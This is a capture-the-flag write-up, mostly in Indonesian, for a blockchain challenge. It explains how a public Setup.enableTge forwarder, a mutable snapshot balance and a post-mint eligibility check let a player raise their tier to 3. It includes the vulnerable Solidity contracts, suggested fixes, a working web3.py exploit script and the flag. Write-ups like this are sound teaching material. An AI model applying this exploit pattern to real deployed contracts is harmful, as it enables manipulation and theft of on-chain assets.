Writeup Aria
C2C QualificationBlockchain

tge

1771211235078

description

Author: hygge

i dont understand what tge is so all this is very scuffed, but this all hopefully for you to warmup, pls dont be mad Start challenge from: http://challenges.1pc.tf:50000/c2c2026-quals-blockchain-tge

Attachments

Setup.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import {TGE} from "./TGE.sol";
import {Token} from "./Token.sol";

contract Setup {
    TGE public tge;
    Token public token;
    address public player;

    constructor(address _player) {
        player = _player;

        token = new Token("TOK", "TOK", 100);
        tge = new TGE(address(token), 15, 35, 50);
        tge.setTgePeriod(true);
        token.mint(player, 15);
    }

    function enableTge(bool _tge) public {
        tge.setTgePeriod(_tge);
    }

    function isSolved() external view returns (bool) {
        require(tge.userTiers(player) == 3, "not yet");
        return true;
    }
}

TGE.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import {Token} from "./Token.sol";

contract TGE {
    Token public immutable token;

    uint256 public constant TIER_1 = 1;
    uint256 public constant TIER_2 = 2;
    uint256 public constant TIER_3 = 3;

    address public owner;

    mapping(uint256 => uint256) public maxSupply;
    mapping(uint256 => uint256) public mintPrice;

    mapping(uint256 => uint256) public totalSupply;
    mapping(address => mapping(uint256 => uint256)) public balance;

    mapping(uint256 => uint256) public preTGESupply; // snapshot taken ONCE
    mapping(address => mapping(uint256 => uint256)) public preTGEBalance;

    mapping(address => uint256) public userTiers;
    uint256[] public tierIds;

    bool public isTgePeriod;
    bool public tgeActivated;

    modifier onlyOwner() {
        require(msg.sender == owner, "only owner");
        _;
    }

    constructor(
        address _token,
        uint256 maxSupplyTier1,
        uint256 maxSupplyTier2,
        uint256 maxSupplyTier3
    ) {
        require(_token != address(0), "token=0");
        require(maxSupplyTier1 > 0 && maxSupplyTier2 > 0 && maxSupplyTier3 > 0, "bad max");

        token = Token(_token);
        owner = msg.sender;

        maxSupply[TIER_1] = maxSupplyTier1;
        maxSupply[TIER_2] = maxSupplyTier2;
        maxSupply[TIER_3] = maxSupplyTier3;

        mintPrice[TIER_1] = maxSupplyTier1;

        tierIds.push(TIER_1);
        tierIds.push(TIER_2);
        tierIds.push(TIER_3);
    }

    function setTgePeriod(bool _isTge) external onlyOwner {
        if (!_isTge && isTgePeriod && !tgeActivated) {
            tgeActivated = true;
            _snapshotPreTGESupply();
        }

        isTgePeriod = _isTge;
    }

    function buy() external {
        require(isTgePeriod, "TGE closed");
        require(userTiers[msg.sender] == 0, "already registered");

        require(token.transferFrom(msg.sender, address(this), mintPrice[TIER_1]), "payment failed");

        _mint(msg.sender, TIER_1, 1);
        userTiers[msg.sender] = TIER_1;
    }

    function upgrade(uint256 tier) external {
        require(tier <= 3 && tier >= 2);
        require(userTiers[msg.sender]+1 == tier);
        require(tgeActivated && isTgePeriod);

        _burn(msg.sender, tier-1, 1);
        _mint(msg.sender, tier, 1);

        require(preTGEBalance[msg.sender][tier] > preTGESupply[tier], "not eligible");
        userTiers[msg.sender] = tier;
    }

    function _mint(address to, uint256 tier, uint256 quantity) internal {
        _validateTier(tier);
        require(quantity > 0, "qty=0");
        require(totalSupply[tier] + quantity <= maxSupply[tier], "max supply");

        totalSupply[tier] += quantity;
        balance[to][tier] += quantity;

        if (isTgePeriod) {
            preTGEBalance[to][tier] += quantity;
        }
    }

    function _burn(address from, uint256 tier, uint256 quantity) internal {
        _validateTier(tier);
        require(balance[from][tier] >= quantity, "insufficient");

        balance[from][tier] -= quantity;
        totalSupply[tier] -= quantity;
    }

    function _snapshotPreTGESupply() internal {
        for (uint256 i = 0; i < tierIds.length; i++) {
            uint256 id = tierIds[i];
            preTGESupply[id] = totalSupply[id];
        }
    }

    function _validateTier(uint256 tier) internal pure {
        require(tier == TIER_1 || tier == TIER_2 || tier == TIER_3, "invalid tier");
    }
}

Token.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.23;

import { ERC20 } from "./lib//ERC20.sol";
import { Ownable } from "./lib/Ownable2Step.sol";

contract Token is ERC20, Ownable {
    uint256 public constant MAX_SUPPLY = 1_000_000_000 * 10 ** 18;
    error MaxSupplyExceeded();

    constructor(string memory name, string memory symbol, uint256 initialSupply)
        ERC20(name, symbol)
        Ownable(msg.sender)
    {
        require(initialSupply <= MAX_SUPPLY, MaxSupplyExceeded());
        _mint(msg.sender, initialSupply);
    }

    function mint(address account, uint256 amount) external onlyOwner {
        require(totalSupply() + amount <= MAX_SUPPLY, MaxSupplyExceeded());
        _mint(account, amount);
    }
}

Overview

Ringkasan singkat

  • Challenge TGE adalah soal token-generation event berlapis (3 tier). Tujuan exploit: membuat userTiers(player) == 3 sehingga Setup.isSolved() mengembalikan true. ✅

Kontrak utama

  • Setup.sol — deploy dan konfigurasi (mencetak token ke pemain, mengaktifkan TGE awal).
  • TGE.sol — logika jual/buy/upgrade tier, snapshot pre-TGE, dan aturan eligibility.
  • Token.sol — ERC20 sederhana (pemilik dapat mint).

Mekanika penting (high‑level)

  • Pemain menerima 15 token dari Setup dan mintPrice[TIER_1] == 15 → cukup untuk buy() Tier 1.
  • setTgePeriod(false) (owner) melakukan snapshot sekali (preTGESupply) ketika TGE dimatikan untuk pertama kali; flag tgeActivated mencegah snapshot berulang.
  • Setiap mint saat isTgePeriod == true menambah preTGEBalance[addr][tier] (snapshot hanya mencatat totalSupply saat TGE dimatikan).
  • upgrade(tier) melakukan: burn tier sebelumnya → mint tier baru → kemudian memeriksa preTGEBalance[msg][tier] > preTGESupply[tier] sebelum menaikkan userTiers.

Vulnerability — akar masalah (singkat)

  • ⚠️ Pemeriksaan eligibility (preTGEBalance > preTGESupply) dilakukan setelah mint di dalam upgrade() — sehingga mint yang sama membuat pemeriksaan tersebut selalu bisa lolos jika snapshot menunjukkan preTGESupply[tier] rendah (mis. 0).
  • Snapshot hanya diambil sekali saat owner mematikan TGE, sehingga attacker bisa memastikan preTGESupply untuk tier atas = 0.

Eksploit (ringkas)

  1. approve() + buy() Tier 1 (pakai 15 token yang diberikan Setup).
  2. Trigger snapshot: owner panggil enableTge(false) → snapshot terjadi.
  3. Re‑enable TGE: enableTge(true).
  4. Panggil upgrade(2) lalu upgrade(3) — mint internal membuat preTGEBalance > preTGESupply, jadi upgrade sukses.

Mengapa ini menyelesaikan challenge

  • Setelah dua kali upgrade, userTiers(player) menjadi 3 dan Setup.isSolved() terpenuhi. 🎯

Perbaikan singkat yang disarankan

  • Pindahkan cek eligibility sebelum mint atau snapshot preTGEBalance/preTGESupply dengan cara yang tidak bisa dimanipulasi selama upgrade.

Analisis Smart Contract

Tujuan & ringkasan logika

  • Tujuan kontrak TGE: menyediakan flow buy()upgrade() sampai userTiers[player] == 3.
  • Snapshot pre‑TGE diambil sekali saat owner mematikan TGE (setTgePeriod(false)); eligibility upgrade bergantung pada perbandingan preTGEBalance vs preTGESupply.

Variabel & fungsi penting

  • isTgePeriod — TGE terbuka untuk mint/buy.
  • tgeActivated — di‑set saat snapshot dilakukan (true setelah pertama kali owner mematikan TGE).
  • preTGESupply[tier] — snapshot totalSupply untuk setiap tier pada waktu snapshot.
  • preTGEBalance[addr][tier] — diinkrement ketika mint terjadi selama isTgePeriod.
  • Setup.enableTge() — mengekspos pemanggilan TGE.setTgePeriod() (owner proxy); siapapun bisa toggle karena Setup adalah owner TGE.
  • upgrade(tier) — melakukan _burn lalu _mint, baru kemudian memeriksa preTGEBalance > preTGESupply.

Kenapa bugnya bisa dimanipulasi (root cause)

Terdapat kombinasi beberapa design flaw yang memungkinkan attacker menaikkan tier secara tidak sah:

1. Owner privilege exposed melalui Setup contract (Critical)

Kontrak TGE membatasi fungsi berikut hanya untuk owner:

function setTgePeriod(bool _isTge) external onlyOwner

Owner dari kontrak TGE adalah kontrak Setup. Namun, Setup mengekspos fungsi berikut secara public:

function enableTge(bool _tge) public {
    tge.setTgePeriod(_tge);
}

Karena fungsi ini tidak memiliki access control, attacker dapat memanggil fungsi owner secara tidak langsung. Hal ini memungkinkan attacker untuk:

  • mematikan TGE kapan saja,
  • memicu snapshot preTGESupply,
  • dan mengaktifkan kembali TGE sesuai kebutuhan exploit.

Ini merupakan privilege escalation vulnerability.

2. Snapshot design flaw — preTGEBalance masih bisa berubah setelah snapshot

Snapshot hanya menyimpan preTGESupply:

preTGESupply[id] = totalSupply[id];

Namun preTGEBalance tetap dapat bertambah setelah snapshot:

if (isTgePeriod) {
    preTGEBalance[to][tier] += quantity;
}

Akibatnya, attacker dapat meningkatkan preTGEBalance setelah snapshot, sehingga snapshot tidak lagi merepresentasikan kondisi historis yang valid.

3. Eligibility check dilakukan setelah mint

Dalam fungsi upgrade():

_burn(msg.sender, tier-1, 1);
_mint(msg.sender, tier, 1);

require(preTGEBalance[msg.sender][tier] > preTGESupply[tier], "not eligible");

Karena _mint() dipanggil sebelum pengecekan eligibility, mint tersebut langsung meningkatkan preTGEBalance, memungkinkan kondisi eligibility terpenuhi menggunakan mint yang sama.

Alur exploit (state transition singkat)

  1. Pemain buy() Tier‑1 (pakai 15 TOK) → preTGEBalance[player][1] = 1, totalSupply[1] naik.
  2. Panggil setup.enableTge(false)tgeActivated=true, snapshot: preTGESupply[2]=0, preTGESupply[3]=0.
  3. Panggil setup.enableTge(true)isTgePeriod=true lagi.
  4. upgrade(2):
    • _burn Tier‑1, _mint Tier‑2 (menambah preTGEBalance[player][2] karena isTgePeriod==true),
    • require(preTGEBalance[player][2] > preTGESupply[2])1 > 0 → sukses.
  5. upgrade(3) sama → userTiers[player]==3 → challenge solved.

Dampak & severity

  • Logika ini memungkinkan kenaikan tier tanpa kondisi pre‑TGE yang semestinya — severity: High.

Rekomendasi perbaikan (konkrit)

  1. Prefered — jangan update preTGEBalance setelah snapshot:
if (isTgePeriod && !tgeActivated) {
    preTGEBalance[to][tier] += quantity;
}
  1. Alternatif/penambah: pindahkan pengecekan eligibility sebelum melakukan _mint() di upgrade() sehingga mint tidak dapat mempengaruhi pemeriksaan yang dimaksud.
  2. Batasi eksposur owner proxy: ubah Setup.enableTge() menjadi onlyOwner atau hapus publik forwarder.
  3. Tambah unit tests untuk skenario snapshot + reenable + upgrade (harus revert jika eligibility tidak terpenuhi).

Langkah Penyelesaian

Step 0 — Akses RPC Node

  • buka 'http://challenges.1pc.tf:50000/c2c2026-quals-blockchain-tge'
  • copy port nya dan buka url dengan port itu http://challenges.1pc.tf:<PORT>/
  • selesaikan PoW (solve in browser atau curl) untuk mendapatkan kredensial RPC node
  • gunakan kredensial tersebut untuk koneksi RPC (contoh: Web3 HTTP provider) 1771206033229

Step 1 — Persiapan: approve & buy Tier 1

  • pastikan wallet/privkey yang dipakai adalah player (Setup sudah mint 15 TOK ke player)
  • panggil token.approve(tge_address, 15) dari account pemain
  • panggil tge.buy() — membayar mintPrice[TIER_1] dan mendapat Tier 1

Step 2 — Trigger snapshot (pre‑TGE)

  • owner (melalui Setup.enableTge(false)) mematikan TGE sekali → tgeActivated = true dan _snapshotPreTGESupply() dipanggil
  • re‑enable TGE dengan Setup.enableTge(true) supaya periode TGE kembali terbuka (untuk mint/upgrade berikutnya)

Step 3 — Upgrade ke Tier 2

  • panggil tge.upgrade(2) dari pemain
    • internal: _burn Tier‑1, _mint Tier‑2 (menambah preTGEBalance[player][2] jika isTgePeriod==true), lalu check preTGEBalance > preTGESupply
    • karena preTGESupply[2] biasanya = 0 (snapshot), condition terpenuhi → userTiers[player] = 2
  • verifikasi: tge.userTiers(player) == 2

Step 4 — Upgrade ke Tier 3

  • panggil tge.upgrade(3) (proses sama seperti Step 3)
  • verifikasi: tge.userTiers(player) == 3

Step 5 — Verifikasi solve & ambil flag

  • panggil setup.isSolved() → harus mengembalikan true
  • cek launcher / event logs untuk mendapatkan flag

Catatan singkat

  • Penyebab exploit: pengecekan preTGEBalance > preTGESupply dievaluasi setelah _mint dalam upgrade() dan snapshot diambil sekali — kombinasi ini bisa dimanipulasi.
  • Untuk langkah otomatis lihat solver.py (di bawah).

Exploit Script (solver.py)

from web3 import Web3

# Data dari soal
RPC_URL = "YOUR_RPC_URL"
PRIVKEY = "YOUR_PRIVATE_KEY"
SETUP_CONTRACT_ADDR = "SETUP_ADDRESS"

w3 = Web3(Web3.HTTPProvider(RPC_URL))
account = w3.eth.account.from_key(PRIVKEY)

# ABI Minimal
setup_abi = [
    {"inputs":[],"name":"tge","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},
    {"inputs":[],"name":"token","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},
    {"inputs":[{"internalType":"bool","name":"_tge","type":"bool"}],"name":"enableTge","outputs":[],"stateMutability":"nonpayable","type":"function"}
]
tge_abi = [
    {"inputs":[],"name":"buy","outputs":[],"stateMutability":"nonpayable","type":"function"},
    {"inputs":[{"internalType":"uint256","name":"tier","type":"uint256"}],"name":"upgrade","outputs":[],"stateMutability":"nonpayable","type":"function"}
]
token_abi = [
    {"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}
]

setup_contract = w3.eth.contract(address=SETUP_CONTRACT_ADDR, abi=setup_abi)
tge_addr = setup_contract.functions.tge().call()
token_addr = setup_contract.functions.token().call()

tge_contract = w3.eth.contract(address=tge_addr, abi=tge_abi)
token_contract = w3.eth.contract(address=token_addr, abi=token_abi)

def send_tx(tx_func):
    tx = tx_func.build_transaction({
        'from': account.address,
        'nonce': w3.eth.get_transaction_count(account.address),
        'gasPrice': w3.eth.gas_price
    })
    signed = w3.eth.account.sign_transaction(tx, PRIVKEY)
    hash = w3.eth.send_raw_transaction(signed.raw_transaction)
    return w3.eth.wait_for_transaction_receipt(hash)

# 1. Approve & Buy Tier 1
print("[*] Approving tokens...")
send_tx(token_contract.functions.approve(tge_addr, 15))
print("[*] Buying Tier 1...")
send_tx(tge_contract.functions.buy())

# 2. Snapshot (Set TGE false lalu true lagi)
print("[*] Triggering snapshot (TGE false)...")
send_tx(setup_contract.functions.enableTge(False))
print("[*] Re-enabling TGE...")
send_tx(setup_contract.functions.enableTge(True))

# 3. Upgrade ke Tier 2
print("[*] Upgrading to Tier 2...")
send_tx(tge_contract.functions.upgrade(2))

# 4. Upgrade ke Tier 3
print("[*] Upgrading to Tier 3...")
send_tx(tge_contract.functions.upgrade(3))

print("[+] Done! Check isSolved on website.")

python3 solver.py

1771212073929

Script ini melakukan:

  1. Approve token (approve) dari pemain ke kontrak TGE.
  2. Membeli Tier 1 dengan buy() (menggunakan 15 TOK yang diberikan oleh Setup).
  3. Memicu snapshot dengan memanggil enableTge(false) lalu mengaktifkan kembali enableTge(true) (snapshot terjadi saat TGE dimatikan).
  4. Memanggil upgrade(2) — internal mint membuat preTGEBalance[addr][2] > preTGESupply[2] sehingga upgrade sukses.
  5. Memanggil upgrade(3) untuk mencapai userTiers == 3.
  6. Mengecek isSolved() pada Setup untuk verifikasi dan mengambil flag.

setelah itu kita bisa get flag di blockchain laucher nya. 1771212099873

flag

C2C{just_a_warmup_from_someone_who_barely_warms_up}

On this page